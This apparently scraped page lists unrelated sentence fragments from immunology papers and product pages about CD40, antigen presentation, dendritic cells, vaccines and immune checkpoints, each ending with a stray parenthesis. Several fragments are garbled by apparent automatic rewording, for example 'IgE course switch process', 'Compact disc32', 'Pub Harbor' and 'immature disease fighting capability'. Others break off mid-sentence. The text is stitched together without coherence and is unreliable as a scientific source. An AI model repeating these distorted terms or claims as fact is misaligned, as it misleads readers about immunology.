  • Mechanisms underlying the development of T-cell tolerance following interruption of signalling at the CD28/B7 and CD40/gp39 interface. (
  • Several factors may explain melanoma cell susceptibility to immune system activation including high tumor mutational load due to ultraviolet light exposure, expression of cancer testis antigens and mimicry of melanocyte lineage proteins with pathogen-associated antigens ( 3 - 5 ). (
  • The cytoplasmic domain of CD40 does not appear to have intrinsic enzymatic activity, but is able to mediate signaling through the recruitment of several intracellular proteins. (
  • The antigen-presenting cell surface contains two peptide-binding proteins: that is, major histocompatibility complex (MHC) classes I and II. (
  • PMCs, as active participants in the pleural injury process, are capable of secreting various cytokines, chemokines, and complement and antigen presentation-related proteins [ 5 , 14 - 16 ]. (
  • The bispecific concept is also applicable to a variety of different target antigens, such as CD19, CD40, tenascin and NG2 and is protected by a granted patent. (
  • Analysis of the C/T(-1) single nucleotide polymorphism in the CD40 gene in multiple sclerosis. (
  • demonstrate that both T. brucei antigens or TNF induce partial DC maturation signatures defined by upregulation of surface markers but limited or no cytokine production with a strikingly similar gene expression signature. (
  • To determine the role of HOIP in CD40 signaling, we used somatic cell gene targeting to generate mouse B cell lines deficient in HOIP. (
  • Similarly, the CD40 and IL-4 driven production of germline transcripts from the immunoglobulin epsilon heavy chain locus, an event that precedes immunoglobulin gene rearrangement and isotype switching, was defective in the absence of HOIP. (
  • Mechanistic research in to the IgE course switch process showed Apitolisib that IL-4/anti-CD40-induced IgE germline gene transcription and B-cell proliferation weren't affected by Compact disc32 ligation. (
  • Exosomes are also involved in gene transfer, inflammation and antigen presentation, and mediation of the immune response during pathogenic states. (
  • Diverse approaches to mRNA cancer vaccines, including dendritic cell vaccines and various types of directly injectable mRNA, have been employed in numerous cancer clinical trials, with some promising results showing antigen-specific T cell responses and prolonged disease-free survival in some cases. (
  • Thus, the protein CTLA4 serves to blunt de novo responses to (in this case) tumor antigens, while the protein PD-1 serves to halt ongoing immune responses by restricting B cell expansion in the secondary lymphoid organs (spleen, lymph nodes and Peyer's Patches) and by restricting T cell activity at the site of the immune response, thus, in the tumor itself. (
  • Our data suggest that pathogenic MyD88-dependent VSG antigens and the inflammatory stimulus TNF program for a largely overlapping inflammatory, semi-mature DC signature, inducing default Th2-cell immune responses based on quantitative DC maturation differences. (
  • The immature disease fighting capability requires constant stimulation by foreign antigens during the early stages of life to develop properly and to create efficient immune responses against later infections. (
  • Immune responses against a peptide derived from the MUC1 extracellular domain are inhibited in mice which transgenically express the human tumor antigen MUC1 (MUC1.Tg mice). (
  • However, these antigen-harbouring exosomes failed to induce antigen-specific T cell responses via BMDC. (
  • Cross-presentation occurs when extracellular antigens are presented on MHC-I, and is critical in priming CD8 + T cell responses against cancer. (
  • investigated antigen presentation and CD8 + T cell responses in the context of TAP deficiency, elucidating an alternative mechanism for cross-presentation. (
  • CD40 engagement leads to the activation of various signaling molecules, including stress-activated protein kinases and the transcription factor NF-κB, which upregulate the expression of cytokines and other factors that promote immune responses. (
  • Together, our results indicate that HOIP plays a critical role in the activation of signaling pathways that regulate cellular responses to CD40 engagement. (
  • However, development of optimal antigen-specific T cell culture systems has been a major challenge to the clinical monitoring of T cell responses. (
  • Immune checkpoints are regulators of the immune system which prevent the immune system from attacking self-antigens indiscriminately. (
  • Atherosclerotic patients are characterized by a lack of tolerance to low-density lipoprotein (LDL) and other plaque antigens that is similar to the loss of tolerance to self-antigens seen in patients with SLE. (
  • Interestingly, back-mutation analysis of three autoantibodies from this human population exposed that two of them lost reactivity to self antigens, but one retained reactivity to DNA when reverted to the germ collection sequence (Zhang, Jacobi et al. (
  • Cytokines (interleukin (IL)-6, IL-10, IL-12, and tumor necrosis factor alpha (TNF-α)) in the supernatants were measured using enzyme-linked immunosorbent assay (ELISA), and the expression of cell surface markers (CD80, CD86, CD40, and human leukocyte antigen (HLA)-DR) and CCR7 was assessed using flow cytometry. (
  • Recent studies have identified the immunological role of the VE from the secretion of cytokines and chemokines to the expression of adhesion molecules and antigen presentation [ 10 - 12 ] . (
  • The interactions between monocytes and PMCs enhanced the ability of PMCs and monocytes to produce cytokines and that of monocytes to express HLA-DR, CD40, CD80 and CD86, which synergistically induced Th17 expansion. (
  • In the above process, anaphylatoxins enhanced the interactions between monocytes and PMCs by increasing the level of the cytokines IL-1β, IL-6, IL-23 and upregulating the phenotype of CD40 and CD80 in CD16+ monocytes. (
  • Neither cell population was positive for the co-stimulatory markers CD40, CD80 and CD86, but both demonstrated increased levels of human leukocyte antigen-DR (HLA-DR) following IFN-γ stimulation. (
  • lymphocytes that bind CD40. (
  • They up-regulated the expression of HLA-DR, CD80, CD86, partially CCR7 but not CD83, partially reduced antigen-uptake function, increased the levels of IL-12p35 mRNA, and prolonged surface expression of peptide-MHC class I complexes for presentation to cytotoxic T lymphocytes, but did not induce migration towards CCL21 chemokine. (
  • Nevertheless, DR+IC had a reduced capacity to capture antigen and elicited poor proliferation and IFN-g secretion by T-lymphocytes. (
  • Notwithstanding the impressive ability of the mighty macrophage to present antigen, there is one function where it is deficient, namely the priming of naive T ‐ lymphocytes. (
  • The effect of the allogeneic small lymphocytes was donor antigen-specific. (
  • Although circulating T-cell lymphocytes can recognize antigens independently, their number is small. (
  • Growing human B lymphocytes in the CD40 system. (
  • The efficacy of tumor debulking surgery is improved by adjuvant immunotherapy using imiquimod and anti-CD40. (
  • Studies to date have shown that the activation of CD40 is one of the most critical regulatory points in tumor immunotherapy in addition to PD-1. (
  • Targeting CD40 has the potential to transform cold tumors that lack immune cell infiltration into hot tumors that have a good response to tumor immunotherapy, but the toxicity of this target has challenged the immunotherapy field over the past two decades. (
  • Many immunotherapy methods rely on detecting tumour specific antigens that are used to guide the therapy agent to the target site. (
  • Therefore, strategies for efficient antigen internalization and subsequent MHC-I presentation are urgently needed for therapeutic vaccines. (
  • In addition to antigen, adjuvants such as CpG oligodeoxynucleotides (CpG ODN) and flagellin can be codelivered to the lymph nodes, which will significantly improve the MHC-I presentation for cytotoxic T cell activation [13, 17]. (
  • The researchers exposed WT or Tap1 -/- DCs to extracellular OVA antigen with or without lipopolysaccharide (LPS) and assessed cross-presentation via OT-1 proliferation in coculture. (
  • Ikappa B kinase 2 but not NF-kappa B-inducing kinase is essential for effective DC antigen presentation in the allogeneic mixed lymphocyte reaction. (
  • Asparagine endopeptidase is not essential for class II MHC antigen presentation but is required for processing of cathepsin L in mice. (
  • This combination therapy of aGC liposome with CD40/40L blockades offers great promise and another approach to induce solid organ transplant tolerance that may be long lasting. (
  • However, antigen loaded exosomes failed to induce an antigen specific T cell response directly or via BMDC. (
  • A highly effective ETEC vaccine ought to be provided orally and preferably should contain a proper toxoid in conjunction with ETEC bacterias expressing the main colonization aspect antigens (CFAs) to be able to induce relevant immune replies locally in the intestine (3, 7, 21, 22). (
  • There are several viable ways to induce an immune response against TAAs, in part determined by whether the antigens are localized intra- or extracellularly. (
  • We observed a trend of CD86 and CD40 expression upregulation on the JAWS II DCs. (
  • CD22 also regulates B-cell response by involvement in controlling the CD19/CD21-Src-family protein tyrosine kinase amplification pathway and CD40 signaling. (
  • We previously showed that the TRAF family member TRAF2 mediates recruitment of HOIL-1L-interacting protein (HOIP) to the cytoplasmic domain of CD40, suggesting that HOIP has a role in the CD40 signaling pathway. (
  • These results reveal HOIP as a key component of the CD40 signaling pathway. (
  • These and other findings led us to hypothesize that HOIP functions downstream of TRAF2 in the CD40 signaling pathway and that HOIP is necessary for the activation of NF-κB and possibly other signaling molecules. (
  • The antigen, then, enters the endocytic pathway of the phagocytes where the phagosome fuses with the lysosome and the formation of phagolysosome takes place. (
  • Whole microbes, microbial subunits and extracts, and peptide and protein antigens have been the focus of much vaccine research and development. (
  • Understanding the mechanistic aspects of the genetic control and the cellular pathways of the immune response to bacterial carbohydrate antigens should provide insights into ways to enhance the immune response and thus facilitate vaccine development. (
  • The safety and efficacy of the CD40-targeted vaccine justify further development for future human clinical trials. (
  • The vaccine groups showed a higher expression of antigen-presenting molecules. (
  • These findings claim that measurements of circulating IgA ASCs could be used not merely for qualitative also for quantitative assessments from the immunogenicity of specific fimbrial antigens in a variety of arrangements of ETEC vaccine. (
  • Both vaccine lots included various levels of the ETEC fimbrial antigens CFA/I and CS2. (
  • Microparticulate beta-glucan (MG) conjugated to vaccine antigen has been shown to serve as an effective adjuvant in vivo. (
  • Antigens draining into lymphoid tissue are taken up by macrophages. (
  • Cell surface expression of the λ light chain, surface IgD, CD9, and CD40 antigens was detected in some but not all chimeras. (
  • This is measureable both by reduced levels, compared to DC from vaccinated WT mice, of MHC Class II, CD40, and CD86 on the surface of these DC, as well as by the level of a new marker of DC activation: expression of traditional pancreatic enzymes. (
  • Moreover, unlike DC, MP were early and strongly activated in response to MV, as shown by the increased surface expression of CD86, CD80, CD54, CD40, and HLA-abc and by the production of mRNA encoding alpha interferon (IFN-alpha), IFN-beta, tumor necrosis factor alpha and interleukin-6. (
  • The pseudopodia extend towards the surface attached antigens. (
  • IgG subclass deficiencies often occur in pairs (eg, IgG1 and IgG3, IgG2 and IgG4), following the general principle that IgG1 and IgG3 are directed against protein antigens and IgG2 is directed against polysaccharide antigens. (
  • CpG ODNs are derived from massive cell death after … Concluding remarks From the features of tumour antigens, we conclude that their recognition by pDCs may be facilitated in the presence of massive cell death, which potentially results in a synergistic interaction with mDCs for T-cell priming in cancer immunity. (
  • In their immature state, DCs reside as sentinels of the immune system in almost all peripheral tissues until they encounter and take up antigens, resulting in maturation of DCs. (
  • When the transfer of antigen-specific information through exosomes was investigated, it was found that keratinocytes took up antigen (ovalbumin) and transferred it to their exosomes. (
  • When MPEK were incubated with antigen, they transferred it to their exosomes. (
  • The CD48 antigen is a glycosylphosphatidylinositol (GPI)-anchored membrane glycoprotein of 40-47 kDa with 2 extracellular immunoglobulin (Ig)-like domains. (
  • James SE, Greenberg PD, Jensen MC, Lin Y, Wang J, Till BG, Raubitschek AA, Forman SJ, Press OW: Antigen sensitivity of CD22-specific chimeric TCR is modulated by target epitope distance from the cell membrane. (
  • iCD40 contains a membrane-localized cytoplasmic CD40 domain fused to a drug-binding domain. (
  • The attachment of that antigen to the cell membrane of the phagocyte. (
  • In humans, the MHC is called the human leukocyte antigen (HLA) system and is located on the short arm of chromosome 6, near the complement genes. (
  • However, by using syngeneic tumor models built on Biocytogen's humanized CD40 mice, YH003 mAb was quickly screened out, as it completely inhibited tumor growth and had no side effects such as hepatotoxicity in mice. (
  • CD40 deficient (C/C) mice within the C57BL/6 background were purchased from Jackson laboratories (Pub Harbor, ME). (
  • IL-10's role in this system appears to be antigen specific as it is produced in the spleens of MUC1 vaccinated MUC1.Tg mice at higher levels than in the spleens of similarly treated WT animals. (
  • Alligator's pipeline includes the two key assets mitazalimab, a CD40 agonist, and ATOR-1017, a 4-1BB agonist. (
  • Figure A. RPE conjugated mouse anti human CD40 ( MCA1590PE ) and FITC conjugated Mouse IgG1 isotype control ( MCA928F ). (
  • The expression of CD40 is diverse. (
  • These exosomes were readily taken up by bone marrow-derived DC (BMDC) in vitro resulting in a matured phenotype, as evidenced by increased CD40 expression as well as by the production of large amounts of IL-6, IL-10 and IL-12. (
  • With a lower brightness, Spark UV™ 387 is best suited for antigens with high expression levels. (
  • The goals of this workshop were to examine the mechanisms involved in generating an appropriate immune response to selected carbohydrate antigens, highlight recent and novel advances, and discuss how this information could be used in the development of effective vaccines. (
  • Later, once the T cell is activated against a foreign antigen, one or more negative regulators, or immune checkpoints, come into play, dampening the immune response. (
  • CD40 is essential for the initiation and expansion of immune response. (
  • The spike S1 protein is a suitable antigen candidate due to its ability to produce a robust immune response. (
  • The adaptive immune system however, effectuates an antigen-specific immune response and confers long-lasting or protective immunity to the host and is only found in vertebrates. (
  • Abcam's CD40 Human ELISA (Enzyme-Linked Immunosorbent Assay) kit is an in vitro enzyme-linked immunosorbent assay for the quantitative measurement of Human CD40 in serum, plasma, and cell culture supernatants. (
  • CD40-mediated signaling results in NF-κB, c-Jun N-terminal kinase (JNK) and p38 mitogen-activated protein kinase (MAPK) activation. (
  • Lymph Node-Targeting Nanovaccine through Antigen-CpG Self-Assembly Potentiates Cytotoxic T Cell Activation. (
  • Keeping this in mind, we developed lymph node-targeting nanovaccines through antigen-CpG self-assembly for cytotoxic T cell activation (Figure 1). (
  • BPX-601 is a GoCAR-T product candidate, which has the company's inducible co-activation domain, inducible MyD88/CD40 (iMC). (
  • We also found that the CD40-mediated activation of NF-κB and c-Jun kinase was impaired. (
  • Among the multiple TRAFs that associate with CD40, TRAF3 can function as a negative regulator of signaling, while TRAF2 and TRAF6 promote the activation of downstream signaling pathways [4]. (
  • More recently, immune checkpoint inhibitors (ICIs) against cytotoxic T-lymphocyte antigen-4 (CTLA-4) and programmed death-1 (PD-1) have dramatically changed the management of both unresectable and metastatic melanoma as well as those at high risk for recurrence after resection ( Table I ) ( 14 - 16 ). (